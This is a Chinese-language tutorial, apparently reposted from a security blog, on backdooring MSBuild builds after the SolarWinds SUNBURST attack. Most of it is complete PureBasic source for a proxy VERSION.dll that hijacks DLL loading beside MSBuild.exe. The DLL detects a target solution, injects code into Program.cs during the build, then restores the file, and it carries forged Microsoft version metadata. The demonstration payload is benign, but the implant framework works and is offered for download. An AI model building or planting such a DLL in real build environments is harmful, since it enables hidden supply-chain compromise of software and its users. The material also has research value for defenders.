您好,登錄后才能下訂單哦!
這篇文章主要介紹“怎么分析MSBuild后門技術”,在日常操作中,相信很多人在怎么分析MSBuild后門技術問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”怎么分析MSBuild后門技術”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
在2020年,不同的美國聯邦政府分支機構都受到了大規模數據泄露的影響。其中很大一部分可以歸結于針對SolarWinds的供應鏈攻擊,包括其旗艦產品SolarWinds Orion的基礎設施建設。2021年1月11日,CrowdStrike情報小組發布了一份分析報告,分析了部署到SolarWinds構建環境中的一個惡意工具,而該惡意工具能夠在構建時將SUNBURST后門注入SolarWinds Orion平臺之中。
CrowdStrike的博客文章是一位同事介紹給我的。SUNBURST的開發人員會嘗試每秒都去搜索MSBuild.exe進程,然后讀取這些遠程進程中的虛擬內存來確定現在構建的是否是正確的解決方案。除此之外,SUNBURST攻擊者還會創建一個計劃任務,在目標設備每次啟動時執行后門植入操作。
實際上,我認為這種方式是很粗糙也很草率的,那怎么做才會更好呢?我們接著往下看!
MSBuild微軟引擎在構建應用程序時,絕大多數時候都會使用XML文件來指導目標解決方案的構建過程。
在檢查MSBuild.exe的代碼時,你首先會注意到的一件事情就是它本審就是一個.NET程序集。那么,哪種方法才是后門化任意.NET程序集的最佳方法呢?
沒錯,就是使用version.dll。
運行任意解決方案的快速構建后(比如說使用C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SomeProject.sln /t:Build /p:Configuration=Release;Platform=Win64),并使用ProcMon記錄程序執行路徑,我們會發現程序會在MSBuild.exe目錄下搜索多個DLL文件:
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ole32.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-string-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sxs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WindowsCodecs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"} {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}
因此,我們就可以直接對MSBuild.exe或C#編譯器(Csc.exe)下手了!正如CrowdStrike所提到的,植入的后門代碼已經檢查出了正確的解決方案,所以我們在測試中也將針對MSBuild.exe文件進行操作。
我們已經知道,VERSION.dll會導出17個不同的名稱,我們需要去實現這些內容以確定目標的正常功能不受影響。
__export_name(GetFileVersionInfoA) __export_name(GetFileVersionInfoByHandle) __export_name(GetFileVersionInfoExA) __export_name(GetFileVersionInfoExW) __export_name(GetFileVersionInfoSizeA) __export_name(GetFileVersionInfoSizeExA) __export_name(GetFileVersionInfoSizeExW) __export_name(GetFileVersionInfoSizeW) __export_name(GetFileVersionInfoW) __export_name(VerFindFileA) __export_name(VerFindFileW) __export_name(VerInstallFileA) __export_name(VerInstallFileW) __export_name(VerLanguageNameA) __export_name(VerLanguageNameW) __export_name(VerQueryValueA) __export_name(VerQueryValueW)
我們的PoC會在DLL中實現后門功能,而不需要每秒讀取遠程進程內存或觸發進程搜索。PoC將用PureBasic編寫,因為沒有一個正常的攻擊者會在其中實現他的植入,因此不需要考慮復制粘貼這個源代碼;-)
注入的代碼應具有以下特征:
沒有其他正在運行的進程;
無遠程進程操作(讀取/寫入遠程進程內存等);
生成正確解決方案的唯一觸發器;
在生成過程中插入后門
在生成過程之后刪除后門源文件;
正如我們前面看到的,VERSION.dll文件很早就由.NET運行時加載了。通過實現mock函數,不僅可以驗證是否加載了DLL,而且還可以知道在執行構建過程之前調用了GetFileVersionInfoSizeW函數,如下圖所示:
考慮到這一點,那么我們就可以不依賴DllMain函數中任何不成熟的解決方案,而只需劫持GetFileVersionInfoSizeW調用,執行我們的后門插入代碼,然后調用真正的GetFileVersionInfoSizeW函數并返回其結果,就可以繞過加載程序鎖的任何問題。
在下面的PoC中,后門被插入到對GetFileVersionInfoSizeW的調用中。整個過程中,源代碼保存在內存中,只要用DLL_PROCESS_DETACH調用DllMain,就可以通過還原以前的源代碼來刪除后門代碼。
通過將我們的VERSION.dll拷貝到MSBuild目錄下,我們可以更好地確保操作的安全性,因為不需要創建額外的進程,可以省略內存搜索并捕獲每一次的構建操作,因為我們的代碼是由MSBuild直接執行的。
源碼以及預編譯代碼可以在點擊【這里】獲取。
; *************************************************************************** ; * * ; * Author: marpie (marpie@a12d404.net) * ; * License: BSD 2-clause * ; * Copyright: (c) 2021, a12d404.net * ; * Status: Prototype * ; * Created: 20200116 * ; * Last Update: 20200117 * ; * * ; *************************************************************************** EnableExplicit ; --------------------------------------------------------------------------- ;- Consts #TARGET_SOLUTION = "ConsoleApp1.sln" #BACKDOOR_CODE = "public Class1() { Console.WriteLine(" + Chr(34) + "Hello from the Static initializer!" + Chr(34) + "); }" #BACKDOOR_INSERT_AFTER = "class Class1 {" #BACKDOOR_ALIVE = $c45c9bda8db1 #MIN_SIZE = 100 ; 100 bytes ; --------------------------------------------------------------------------- ;- Variables Global mux.i = #Null ; set in DLL_PROCESS_ATTACH Global hVersion.i = #Null ; orig version.dll handle Global active.i = 0 ; checked in CleanupBackdoor Global origContent.s = "" ; ptr to memory of the original source Global origContentSize.i = 0 ; size of the original source ; --------------------------------------------------------------------------- ;- Backdoor Handling Procedure.s GetTargetFilePath() Define i.i Define path.s For i = 0 To CountProgramParameters() path = ProgramParameter(i) If CountString(path, #TARGET_SOLUTION) > 0 ProcedureReturn GetPathPart(path) + "Program.cs" EndIf Next ProcedureReturn "" EndProcedure Procedure.b ReadOrigContent(hFile.i) Define res.b = #False FileSeek(hFile, 0, #PB_Absolute) Define size.i = Lof(hFile) Define *mem = AllocateMemory(size) If ReadData(hFile, *mem, size) <> size Goto ReadAllCleanup EndIf origContent = PeekS(*mem, size, #PB_UTF8) origContentSize = Len(origContent) res = #True ReadAllCleanup: If *mem FreeMemory(*mem) EndIf ProcedureReturn res EndProcedure ; InsertBackdoor needs to be called from a function holing mux! Procedure.b InsertBackdoor(path.s) Define res.b = #False Define hFile.i = OpenFile(#PB_Any, path, #PB_File_SharedRead | #PB_UTF8) If Not hFile ProcedureReturn res EndIf ; read file content If Not ReadOrigContent(hFile) Goto InsertBackdoorError EndIf ; check if the right code is present Define pos.i = FindString(origContent, #BACKDOOR_INSERT_AFTER)-1 If pos < 0 Goto InsertBackdoorError EndIf ; revert file to 0 FileSeek(hFile, 0, #PB_Absolute) TruncateFile(hFile) ; write content till start of backdoor Define writeSize.i = pos+Len(#BACKDOOR_INSERT_AFTER) Define sizeLeft = writeSize If WriteString(hFile, Left(origContent, writeSize), #PB_UTF8) = 0 ; we should add a restore of the original file here ; ... depending on the write error ... Goto InsertBackdoorError EndIf ; write backdoor writeSize = Len(#BACKDOOR_CODE) If WriteString(hFile, #BACKDOOR_CODE, #PB_UTF8) = 0 ; we should add a restore of the original file here ; ... depending on the write error ... Goto InsertBackdoorError EndIf ; write rest of file writeSize = origContentSize-sizeLeft If WriteString(hFile, Right(origContent, writeSize), #PB_UTF8) = 0 ; we should add a restore of the original file here ; ... depending on the write error ... Goto InsertBackdoorError EndIf res = #True InsertBackdoorCleanup: CloseFile(hFile) ProcedureReturn res InsertBackdoorError: If Len(origContent) > 0 origContent = "" origContentSize= 0 EndIf Goto InsertBackdoorCleanup EndProcedure Procedure ActivateBackdoor() LockMutex(mux) ; check if the backdoor is already alive If #BACKDOOR_ALIVE = active Goto ActivateBackdoorCleanup EndIf ; check if we have the right solution Define targetFilepath.s = GetTargetFilePath() If Len(targetFilepath) < 1 Goto ActivateBackdoorCleanup EndIf MessageRequester("ActivateBackdoor", "Hello World from Solution: " + #CRLF$ + ProgramParameter(0)) ; init backdoor If InsertBackdoor(targetFilepath) active = #BACKDOOR_ALIVE MessageRequester("ActivateBackdoor", "... backdoor insered ...") Else MessageRequester("ActivateBackdoor", "... backdooring failed ...") EndIf ActivateBackdoorCleanup: UnlockMutex(mux) ProcedureReturn EndProcedure Procedure CleanupBackdoor() LockMutex(mux) If #BACKDOOR_ALIVE = active active = #Null ; Do cleanup here If origContentSize <> 0 Define hFile.i = CreateFile(#PB_Any, GetTargetFilePath(), #PB_UTF8) If hFile WriteString(hFile, origContent, #PB_UTF8) CloseFile(hFile) EndIf origContent = "" origContentSize = 0 EndIf EndIf CleanupBackdoorCleanup: UnlockMutex(mux) ProcedureReturn EndProcedure ; --------------------------------------------------------------------------- ;- DllMain Stuff ProcedureDLL AttachProcess(Instance) mux = CreateMutex() EndProcedure ProcedureDLL DetachProcess(Instance) CleanupBackdoor() EndProcedure ; --------------------------------------------------------------------------- ;- orig VERSION.dll Stuff Procedure.i LoadVersionDll() Define res.i = #Null LockMutex(mux) If #Null = hVersion ; load version.dll Define dllPath.s = GetEnvironmentVariable("windir") + "\system32\version.dll" hVersion = OpenLibrary(#PB_Any, dllPath) EndIf res = hVersion CleanupLoadVersionDll: UnlockMutex(mux) ProcedureReturn res EndProcedure ;BOOL GetFileVersionInfoA( ; LPCSTR lptstrFilename, ; DWORD dwHandle, ; DWORD dwLen, ; LPVOID lpData ;); ProcedureDLL.i GetFileVersionInfoA(a1.i, a2.l, a3.l, a4.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoA", a1, a2, a3, a4) EndProcedure ;BOOL GetFileVersionInfoExA( ; DWORD dwFlags, ; LPCSTR lpwstrFilename, ; DWORD dwHandle, ; DWORD dwLen, ; LPVOID lpData ;); ProcedureDLL.i GetFileVersionInfoExA(a1.l, a2.i, a3.l, a4.l, a5.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExA", a1, a2, a3, a4, a5) EndProcedure ;BOOL GetFileVersionInfoExW( ; DWORD dwFlags, ; LPCWSTR lpwstrFilename, ; DWORD dwHandle, ; DWORD dwLen, ; LPVOID lpData ;); ProcedureDLL.i GetFileVersionInfoSizeExW(a1.l, a2.i, a3.l, a4.l, a5.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExW", a1, a2, a3, a4, a5) EndProcedure ;DWORD GetFileVersionInfoSizeA( ; LPCSTR lptstrFilename, ; LPDWORD lpdwHandle ;); ProcedureDLL.i GetFileVersionInfoSizeA(a1.i, a2.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeA", a1, a2) EndProcedure ;DWORD GetFileVersionInfoSizeExA( ; DWORD dwFlags, ; LPCSTR lpwstrFilename, ; LPDWORD lpdwHandle ;); ProcedureDLL.i GetFileVersionInfoSizeExA(a1.l, a2.i, a3.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExA", a1, a2, a3) EndProcedure ;DWORD GetFileVersionInfoSizeExW( ; DWORD dwFlags, ; LPCWSTR lpwstrFilename, ; LPDWORD lpdwHandle ;); ProcedureDLL.i GetFileVersionInfoExW(a1.l, a2.i, a3.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2, a3) EndProcedure ;DWORD GetFileVersionInfoSizeW( ; LPCWSTR lptstrFilename, ; LPDWORD lpdwHandle ;); ProcedureDLL.i GetFileVersionInfoSizeW(a1.i, a2.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2) EndProcedure ;BOOL GetFileVersionInfoW( ; LPCWSTR lptstrFilename, ; DWORD dwHandle, ; DWORD dwLen, ; LPVOID lpData ;); ProcedureDLL.i GetFileVersionInfoW(a1.i, a2.l, a3.l, a4.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoW", a1, a2, a3, a4) EndProcedure ; int hMem, LPCWSTR lpFileName, int v2, int v3 ProcedureDLL.i GetFileVersionInfoByHandle(a1.i, a2.i, a3.i, a4.l) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoByHandle", a1, a2, a3, a4) EndProcedure ;DWORD VerFindFileA( ; DWORD uFlags, ; LPCSTR szFileName, ; LPCSTR szWinDir, ; LPCSTR szAppDir, ; LPSTR szCurDir, ; PUINT puCurDirLen, ; LPSTR szDestDir, ; PUINT puDestDirLen ;); ProcedureDLL.i VerFindFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileA", a1, a2, a3, a4, a5, a6, a7, a8) EndProcedure ;DWORD VerFindFileW( ; DWORD uFlags, ; LPCWSTR szFileName, ; LPCWSTR szWinDir, ; LPCWSTR szAppDir, ; LPWSTR szCurDir, ; PUINT puCurDirLen, ; LPWSTR szDestDir, ; PUINT puDestDirLen ;); ProcedureDLL.i VerFindFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileW", a1, a2, a3, a4, a5, a6, a7, a8) EndProcedure ;DWORD VerInstallFileA( ; DWORD uFlags, ; LPCSTR szSrcFileName, ; LPCSTR szDestFileName, ; LPCSTR szSrcDir, ; LPCSTR szDestDir, ; LPCSTR szCurDir, ; LPSTR szTmpFile, ; PUINT puTmpFileLen ;); ProcedureDLL.i VerInstallFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileA", a1, a2, a3, a4, a5, a6, a7, a8) EndProcedure ;DWORD VerInstallFileW( ; DWORD uFlags, ; LPCWSTR szSrcFileName, ; LPCWSTR szDestFileName, ; LPCWSTR szSrcDir, ; LPCWSTR szDestDir, ; LPCWSTR szCurDir, ; LPWSTR szTmpFile, ; PUINT puTmpFileLen ;); ProcedureDLL.i VerInstallFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileW", a1, a2, a3, a4, a5, a6, a7, a8) EndProcedure ;DWORD VerLanguageNameA( ; DWORD wLang, ; LPSTR szLang, ; DWORD cchLang ;); ProcedureDLL.i VerLanguageNameA(a1.l, a2.i, a3.l) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameA", a1, a2, a3) EndProcedure ;DWORD VerLanguageNameW( ; DWORD wLang, ; LPWSTR szLang, ; DWORD cchLang ;); ProcedureDLL.i VerLanguageNameW(a1.l, a2.i, a3.l) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameW", a1, a2, a3) EndProcedure ;BOOL VerQueryValueA( ; LPCVOID pBlock, ; LPCSTR lpSubBlock, ; LPVOID *lplpBuffer, ; PUINT puLen ;); ProcedureDLL.i VerQueryValueA(a1.i, a2.i, a3.i, a4.l) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueA", a1, a2, a3, a4) EndProcedure ;BOOL VerQueryValueW( ; LPCVOID pBlock, ; LPCWSTR lpSubBlock, ; LPVOID *lplpBuffer, ; PUINT puLen ;); ProcedureDLL.i VerQueryValueW(a1.i, a2.i, a3.i, a4.l) ActivateBackdoor() ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueW", a1, a2, a3, a4) EndProcedure ; --------------------------------------------------------------------------- ; IDE Options = PureBasic 5.73 LTS (Windows - x64) ; ExecutableFormat = Shared dll ; CursorPosition = 85 ; FirstLine = 60 ; Folding = ----- ; Executable = version.dll ; CompileSourceDirectory ; EnablePurifier ; IncludeVersionInfo ; VersionField2 = Microsoft Corporation ; VersionField3 = Microsoft? Windows? Operating System ; VersionField5 = 10.0.20190.1000 (WinBuild.160101.0800) ; VersionField6 = Version Checking and File Installation Libraries ; VersionField7 = version ; VersionField8 = VERSION.DLL ; VersionField9 = ? Microsoft Corporation. All rights reserved. ; VersionField15 = VOS_NT ; VersionField16 = VFT_DLL
到此,關于“怎么分析MSBuild后門技術”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。